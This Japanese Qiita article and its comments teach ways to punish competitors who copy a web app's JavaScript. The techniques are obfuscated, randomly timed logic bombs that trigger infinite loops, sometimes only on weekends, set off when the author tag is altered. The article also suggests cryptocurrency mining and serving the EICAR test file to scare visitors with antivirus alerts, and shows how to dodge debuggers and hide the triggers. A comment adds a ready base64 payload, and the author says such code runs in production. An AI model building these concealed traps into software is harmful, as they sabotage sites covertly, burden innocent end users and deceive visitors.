JavaScript
1088
どのような問題がありますか?

この記事は最終更新日から3年以上が経過しています。

投稿日

更新日

ウェブアプリをソースごとパクる業者に対する対策

こんにちは。みなさんもウェブアプリをリリースしたあとに同業者にソースごとパクられたことってありますよね。難読化しても難読化されたまま同業者のサーバで動くので困ったものです。そこで、私がとった解析しずらい対策をまとめてみたいと思います。

前提

多機能な画面をJavaScriptでゴリゴリ作ったのにもかかわらず、HTMLやCSS、JavaScriptファイル一式を自社サーバにまるごとコピーして、ライセンス表記だけ書き換えて使うような業者を罠にはめるということを想定しています。

当然通信をリバースエンジニアリングする人もいるので、自社サーバでは防げないという前提です。

HTMLにはauthorメタタグ

よくあるMETAタグで権利者を明記します。これは権利の主張もそうですが、JavaScript自体に権利者が認定した権利者でなければ無限ループを起こすという処理のためにも使用します。逆に、権利者が我々にあるという状態でパクってもらう分にはよしと割り切ります。

<meta name="author" content="OreOre">

ランダムで無限ループを起こす

毎回決まったタイミングで発生したらプログラマはデバッグして対策しやすいです。なので、数%の確率で、数秒〜数百秒後にランダムで発生させるようにすると「あれ?うまく動いているじゃん」「あれ?動かなくなった」となります。プログラマが一番イヤな再現性がバラバラで低いというのを実現します。

無限ループするコードを非同期で読み込む

以下の例はconsole.log(1)を実行していますがwhile(1);にすると返ってこなくなります。

var script = document.createElement("script");
script.src = "data:text/javascript;base64,Y29uc29sZS5sb2coMSk=";
document.head.appendChild(script);

開発ツールでもブレークポイントを設定しにくいのがポイントです。

独自の難読化を行う

無限ループを発生させるコードに独自の難読化を仕掛けます。要は何をやっているんか分かりにくくするためです。eval(src)と書いてしまうと「あ、ここで実行しているな」と一目瞭然だったりします。

s = ...長い処理でスクリプト生成(この処理自体も適度に難読化)
a=[a=338403347140888..toString(31)][a=a+a[5]][a](s)();

わかりやすく書くと、こうなります。

//aに"constructo"を代入
//constructoという文字を31進数から10進数に変換すると338403347140888になる
//最後のrは精度不足で作れないので諦める
a=338403347140888..toString(31);
//aに"constructo" + "r"を代入
//諦めた最後のrを6文字目から取り出して結合
a = a + a[5];
//Functionを取り出して(String.prototype.constructor.constructor)、文字列を実行
//Function(s)と同じ
a["constructor"]["constructor"](s);

ちなみにツールでの難読化はやめましょう。デコーダが大抵あります。

無限ループのトリガーを工夫する

上記例では無限ループするスクリプトを動的にDataURLでロードしていますが、z=1というコードにしつつ、全く別の所でwindow.zの値を監視して1になったら無限ループするというのもかなり追いにくくなるしょう。

ソース上に分散させる

1箇所に無限ループを発生させるコードをまとめてしまうと追いやすくなります。Webpackなどでビルドする際に、無限ループ発生に関わるコードの関数をバラバラな位置に登場するようにするとより追いにくくなります。

例えばscriptタグの生成と、srcの設定と、documentへ追加、それぞれを別々のモジュールにしつつ全然関係ない処理で最初に参照されるようにします。

特にWebpackとuglifyでビルドすると、何気ない処理が実は無限ループに関わっている、ということがより一層分かりにくくなります。

その他工夫など

  • システム上重要そうに見えるフラグと無限ループのフラグを共有する
  • metaタグのauthorではなく、location.hrefなどで判定する
  • 無限ループではなくビットコインの発掘コードを発動させる
  • メインではなくWebWorkerで無限ループさせる
  • WebAssemblyで無限ループさせる

追記

はてブで面白いアイデアを頂いたので追記しますが、土日限定でトラブルを起こすようにするのもいいですね。サービスによっては土日はよく売り上げがあがるにも関わらず、エンジニアは休みを取っているということが多々あります。問い合わせが土日にきて、月曜日にエンジニアが調査したら再現しない。という感じになります。

更に追記

authorを取得して比較するだけであれば、以下のようなコードでいけますが、はっきり言ってバレバレです。

var author = document.querySelector("meta[name=author]").getAttribute("content");
if(author == "OreOre Inc."){
//ここで発動準備
}

短く簡易的な独自なアルゴリズムでハッシュ化したauthorと固定の数字を比較したほうがバレにくいでしょう。

function test(c, h){
    c += " ".repeat(4 - c.length % 4)

    for(var i = 0, l = c.length, v = 0x12345678,a = c.charCodeAt.bind(c); i < l; i += 4){
        //入力された文字でソルト0x12345678のxorを8bitごとに求める
        v ^= (a(i) & 0xff) << 24;
        v ^= (a(i + 1) & 0xff) << 16;
        v ^= (a(i + 2) & 0xff) << 8;
        v ^= (a(i + 3) & 0xff);

        //xorshift32と同じ計算でランダムな数字にする
        v ^= v << 13;   
        v ^= v >> 17;   
        v ^= v << 15;   
    }

    return v == h;
}

test(author/*"Ore Ore Inc."*/, -658575506);

このtest関数をuglifyすると以下のようになります。

function test(t,e){for(var r=0,n=(t+=" ".repeat(4-t.length%4)).length,a=305419896,h=t.charCodeAt.bind(t);r<n;r+=4)a^=(255&h(r))<<24,a^=(255&h(r+1))<<16,a^=(255&h(r+2))<<8,a^=255&h(r+3),a^=a<<13,a^=a>>17,a^=a<<15;return a==e}test(author,-658575506);

このコードだと、authorの値が"Ore Ore Inc."であるか比較しているようには見えにくくなります。このコードに似たものをすでに実戦投入しています。このコードをfalseを取り出すためだけに一部業務ロジックで利用すると、確実に消せないコードになります。

開発環境で発生させないようにする(追記)

URLがlocalhostだったりIPアドレスだったりポート番号が80以外の場合には無視するというのも有効です。この場合「開発環境では問題ない」を実現しやすくなります。

曜日判定の隠蔽(追記)

普通にnew Date().getDay()を実行して判定するとバレバレであるため、

//土日判定(JST)
if((Date[30704..toString(36)]() / 864e5 - 1.625) % 7 < 2){
    //バグってたので修正
    //土日(JST)の場合のみ、左辺が0か1になる。
    //月曜日は2にになるのでこれで判定が可能。
}

こんな感じのコードすると一見何をやっているかわからない感じになります。

evalの保護(追記)

window.eval = console.logを実行されると、eval部分でソースが出力されてしまいます。evalの書き換え前に実行できるのであれば、

Object.defineProperty(window, "eval", {
    configurable : false,
    writable : false,
    value : eval,
})

これで保護しましょう。また、もしevalが書き換えられた場合は、

//evalが関数かつnativeなeval関数であることを確認して実行
if(typeof eval == "function" && eval.toString() == "function eval() { [native code] }"){
    eval(ソース);
}

のようなコードで難読化されたコードが露見できないようにできます。
このコード自体も独自の難読化はしておきましょう。

普通のDOM操作に見える処理を利用してフックしてトリガー(追記)

どう見ても普通のDOM操作に見える以下の処理ですが、innerHTMLの処理を書き換えることで、例えば"bad"を代入するとそれをトリガーに何かをすることができます。

書き換え処理は予め別の場所で仕込んでおいて、innerHTMLへの代入は全然違うところで行うと隠蔽がしやすくなります。

document.body.innerHTML = xxx ? "ok" : "bad";

以下はinnerHTMLのフック処理

//ElementのinnerHTMLアクセッサを取得
var innerHTML = Object.getOwnPropertyDescriptor(Element.prototype, "innerHTML")

//セッターを取得
var originSet = innerHTML.set;

//セッターを書き換え
innerHTML.set = function(string){
    //特定の値の場合をフックして何かする
    if(string == "bad"){
        alert(1);
    }

    //オリジナル処理を実行
    return originSet.call(this, string);
};

//セッターを設定
Object.defineProperty(Element.prototype, "innerHTML", innerHTML);

開発ツールのトラッキング(追記)

開発ツールが開いていることを検出するスクリプトがあります。開発ツールが開かれたら、トラップを発動させないようにすると、さらに対応しにくくなります。

デバッガでアタッチしたのをゆるく検知する(追記)

問題の動作を確認しようとしてデバッガでアタッチをすると、その間イベントループが停止します。その挙動を利用して、イベントループの時間が一定以上かかった場合はデバッガによるアタッチがあったと判断します。

純粋にたまたまPCが重たいときにはトラップが発動しなくなりますが、トラップが発動するわけではないので、この場合は問題ないと考えます。

var last = Date.now();
var timer = setInterval(function(){
    var now = Date.now();
    //どう考えても1イベントループで5秒もかかる処理がないのであれば
    //とりあえず5秒をしきい値に
    if(now - last > 5000){
        //デバッガなどが原因で5秒以上停止があったとする
        console.log("トラップの発動をキャンセルする")
        clearTimeout(timer);
        return;
    }
    last = now;
}, 1000);

アンチウィルスソフトの検出を誘う(追記)

無限ループやビットコインのマイニングの他に、アンチウィルスソフトを反応させることで、ウィルスが仕込まれたサイトだとユーザに誤解させてサイトから離脱させる手段です。

検出テストとしてEICARテストファイルと呼ばれるものがあります。この決められた内容のファイルについて、アンチウィルスソフトは必ず検出できなければならないとあります。

このファイルと同等な内容を返すURLは以下のとおりです。

data:application/octet-stream;base64,WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo=

以下のようなコードでダウンロードさせることもできます。

//クロスブラウザ対応コードではないので調整してください
var a = document.createElement("a");
a.download = "eicar.com";
a.href = "data:.....";
a.click();

環境によってはアンチウィルスソフトが「ウィルスを検出しました!」と表示されます。

マルウェアなどで最近利用されている難読化ツール(追記)

最近メールの添付などで送られるJavaScriptで使用されている難読化ツールです。マルウェアは大体JScript判定を行って「特定のURLからexeファイルをダウンロードして実行するコマンドライン」をシェルで起動するということをやっています。

文字列なども難読化されるのですが、難読化された文字列を復号する処理において、過剰なスタックの消費とdebugger構文のインジェクトが行われるため、原則デバッグできないと考えて良いです。

ただ、こういうツールを使うと解析は防げても、明らかにコードを守りたいという意図が丸見えになってしまうため、使い方によっては一発で回避されます。

ユーザー登録して、Qiitaをもっと便利に使ってみませんか。
  1. あなたにマッチした記事をお届けします
    ユーザーやタグをフォローすることで、あなたが興味を持つ技術分野の情報をまとめてキャッチアップできます
  2. 便利な情報をあとで効率的に読み返せます
    気に入った記事を「ストック」することで、あとからすぐに検索できます
kacchan6

コメント

(編集済み)
リンクをコピー
このコメントを報告

土日限定実行に加えて10秒後実行を追加すれば
最初は使用できるが10秒後に使用できなくなるため、
より原因の特定がしにくくなり、精神的ダメージが増しますね。

「最初から動かない」よりも「最初は動くが途中から動かない」ほうが
ユーザーからの問い合わせは多くなります。:smiling_imp:

追記: 発生確率5%、10〜600秒後(ランダム)に修正

// 5%の確率で発生させる
if ((Math.floor(Math.random() * 20) + 1) === 1) {
  // ドメインがiwb.jpではなく、土日であれば無限ループ実行!
  if (document.domain !== 'iwb.jp' && (new Date().getDay() === 6 || new Date().getDay() === 0)) {
    // 10〜600秒後(ランダム)で無限ループ実行!
    var time = (Math.floor(Math.random() * (600 + 1 - 10)) + 10) * 1000;
    setTimeout(function() {
      while(1);
    }, time);
  }
}
<!-- base64変換後 -->
<script>
var script = document.createElement('script');
script.src = 'data:text/javascript;base64,aWYgKChNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiAyMCkgKyAxKSA9PT0gMSkge2lmIChkb2N1bWVudC5kb21haW4gIT09ICdpd2IuanAnICYmIChuZXcgRGF0ZSgpLmdldERheSgpID09PSA2IHx8IG5ldyBEYXRlKCkuZ2V0RGF5KCkgPT09IDApKSB7dmFyIHRpbWUgPSAoTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogKDYwMCArIDEgLSAxMCkpICsgMTApICogMTAwMDtzZXRUaW1lb3V0KGZ1bmN0aW9uKCkge3doaWxlKDEpO30sIHRpbWUpO319';
document.head.appendChild(script);
</script>
8
リンクをコピー
このコメントを報告

@iwbjpさん

最初の方に書いてありますが、実は実際のサービスにも組み込んでいて、
発生確率も時間もランダムにしています:smiling_imp:
実際のサービスでは10秒〜600秒くらいにしているので、かなり原因が特定しにくいと思います。

まだ今のバージョンは実際にパクられてはないのですが、
同業にパクリ屋さんがいて過去に色々パクられたので、
ダメージを与えてあげたい感じなんですね:slight_smile:

3
リンクをコピー
このコメントを報告

すみません、見落としていました。

ランダムで無限ループを起こす

1
リンクをコピー
このコメントを報告

CORSをちゃんとやればよいだけのお話では?

0
(編集済み)
リンクをコピー
このコメントを報告

@nave-mさん

誤解を招く内容で恐縮ですが、JSのソースごと同業者のサーバに持って行かれた場合の話ですね。
そのときによくあるのが、権利表示だけ書き換えてそのまま自分のところに配置という感じです。

最近はシングルページアプリケーションも多々ありますので、
Ajaxの通信内容をリバースエンジニアリングして再現すると、
そのまま使えちゃったりするわけで、その対策となります。

1
リンクをコピー
このコメントを報告

Ajaxの通信内容をリバースエンジニアリング

認証代わりにCORSヘッダ必須のAPIが1本あればよいかと思ってましたが、それでは甘かったんですね。
失礼しました。

0
(編集済み)
リンクをコピー
このコメントを報告

無限ループするコードを非同期で読み込む

無限ループのように「明らかにおかしい」と分かる動作よりも、一部の数値がおかしくなる、など「気づきにくい部分でおかしい」ようにするというのはいかがでしょうか。

正規利用でない場合、見た目はうまく動作しているようで、実は計算などがおかしい。それを分かるのは数か月後(データが蓄積された後)などは痛手になると思います。

5
リンクをコピー
このコメントを報告

@7of9 さん

そういうアプローチもありですね。APIを解析して頑張って実装し、
平日テストして問題なく動いたものが土日におかしなデータがやってくるというのは、
エンジニアとしてはかなりエグい感じだと思います。

気づきにくさではないですが、追いにくさとしてヤフーなど別のURLに飛ばすのもありかなと思っています。
ページが遷移すると開発ツールで追うのができなくなります。
まれに発生するなら、あれ?リンク踏んだ?となりますよね。

3
リンクをコピー
このコメントを報告

おはようございます。

私は、GWTを利用して、サーバ側とクライアント側をそれぞれ実装するので、クライアント側のみ取られても、全然動かないのでこの方法をお勧めします。
javaだけで開発できるし

3
リンクをコピー
このコメントを報告

Reactを今時の方は多く使うらしいのですが、全然javascriptやっていなくて、必要性を感じない

GWTでほぼ全てできてしまう

だれか教えてください、Reactがなぜいいのかを・・^_^

1
(編集済み)
リンクをコピー
このコメントを報告

@hprc さん

Angularなどもそうですが、単に目的の違いかと。
どのフレームワークがどう優れているかなどは、この記事では関係ありませんので、
GWTに興味を持たれる方が増えるかもしれませんし、比較記事を書かれるとよいかと思います。

7
リンクをコピー
このコメントを報告

バリバリ参考にさせていただきます:smiling_imp:

1
リンクをコピー
このコメントを報告

正しいサーバーで動いているかどうか確認するのに、 location.host を使用する方法が書かれていませんが、なぜでしょうか?
私が前提を誤解しているだけでしたらすみません。

1
リンクをコピー
このコメントを報告

@igrepさん

ホスト名チェックは無しではないのですが、開発環境などでコロコロ変わるため、運用が煩雑になります。

パクる側を嵌めるのが目的であるため、開発時でも変わらない、権利者を示す値をチェックするのが良いと考えています。

2
リンクをコピー
このコメントを報告

私はこの記事を理解できるほどのエンジニアではないのですが・・・
「無限ループ」や「アンチウィルスソフトの検出を誘う」をコーディング?してリリースすると、そのリリースした自社のサイトにも同じ影響が出ると思うのですが、どうやって回避するのでしょうか?

1
リンクをコピー
このコメントを報告

@Algebra_nobu さん

権利表示が正しくなければ発動するという仕組みです。仮にA社が作成したコンテンツをB社がパクるとします。

その際に権利者はA社ですと明記したままであれば発動しません。B社ですと書き換えると発動します。そこはHTMLをチェックして発動するかを決定します。正規の値であれば発動しません。

そのチェックの方法や発動のタイミングなどを分かりづらくし、安易にパクっても対処できないようにするのがこの記事の内容になります。

パクる時はプログラムやHTMLをよく見ずにそのままコピーする事が多いですが、コピーがバレると大変なので権利者の表示だけ書き換える傾向にあります。

2
リンクをコピー
このコメントを報告

@kacchan6@github さん
とても丁寧なご説明ありがとうございます。
理解できました。素晴らしい記事です。

3
(編集済み)
リンクをコピー
このコメントを報告

ビットコインの発掘コードを発動

う、win-win じゃないですか!

0
リンクをコピー
このコメントを報告

@kacchan6 さん

個々の具体的な事項も参考になり、

権利者が我々にあるという状態でパクってもらう分にはよしと割り切ります。

何かを割り切ると、面白い対策が立てられるかもという、発想の切り替えが大事だという点もわかりました。

あれもこれも追いかけようとすると、万能の対策はなく、、、。

3
どのような問題がありますか?
あなたもコメントしてみませんか :)
ユーザー登録
すでにアカウントを持っている方はログイン
記事投稿イベント開催中
データに関する記事を書こう!
~
1088
どのような問題がありますか?
ユーザー登録して、Qiitaをもっと便利に使ってみませんか

この機能を利用するにはログインする必要があります。ログインするとさらに下記の機能が使えます。

  1. ユーザーやタグのフォロー機能であなたにマッチした記事をお届け
  2. ストック機能で便利な情報を後から効率的に読み返せる
ユーザー登録ログイン
ストックするカテゴリー